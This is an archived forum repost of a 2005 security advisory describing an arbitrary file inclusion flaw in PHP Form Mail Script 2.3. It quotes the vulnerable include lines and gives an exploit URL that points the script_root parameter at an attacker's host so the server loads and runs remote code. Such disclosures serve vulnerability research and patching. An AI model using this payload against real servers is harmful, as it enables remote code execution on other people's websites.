邪恶八进制信息安全团队技术讨论组's Archiver

EvilOctal 2005-3-10 15:37

[转载]PHP Form Mail Script 2.3 Arbitrary File Inclusion

文章作者:groszynskif <at> gmail <dot> com

Name: Form Mail Script (FS)
Version: <= 2.3 (free/commercial)
Homepage: [url]http://www.stadtaus.com/[/url]

Author: Filip Groszynski (VXSfx)
Date: 4 March 2005
-- == -- == -- == -- == -- == -- == -- == -- == -- == --

Vulnerable code in inc/formmail.inc.php:

...
/*****************************************************
** Include functions
*****************************************************/
include $script_root . &#39;inc/functions.inc.php&#39;;
include $script_root . &#39;inc/template.class.inc.php&#39;;
include $script_root . &#39;inc/template.ext.class.inc.php&#39;;
include $script_root . &#39;inc/formmail.class.inc.php&#39;;
...
include $script_root . &#39;languages/language.&#39; . $language . &#39;.inc.php&#39;;
...

--------------------------------------------------------

Example:

if register_globals=on and allow_url_fopen=on:
http://[victim]/[dir]/inc/formmail.inc.php?script_root=http://[hacker_box]/

--------------------------------------------------------

Fix and Vendor status:

Vendor has been notified.

页: [1]
© 1999-2008 EvilOctal Security Team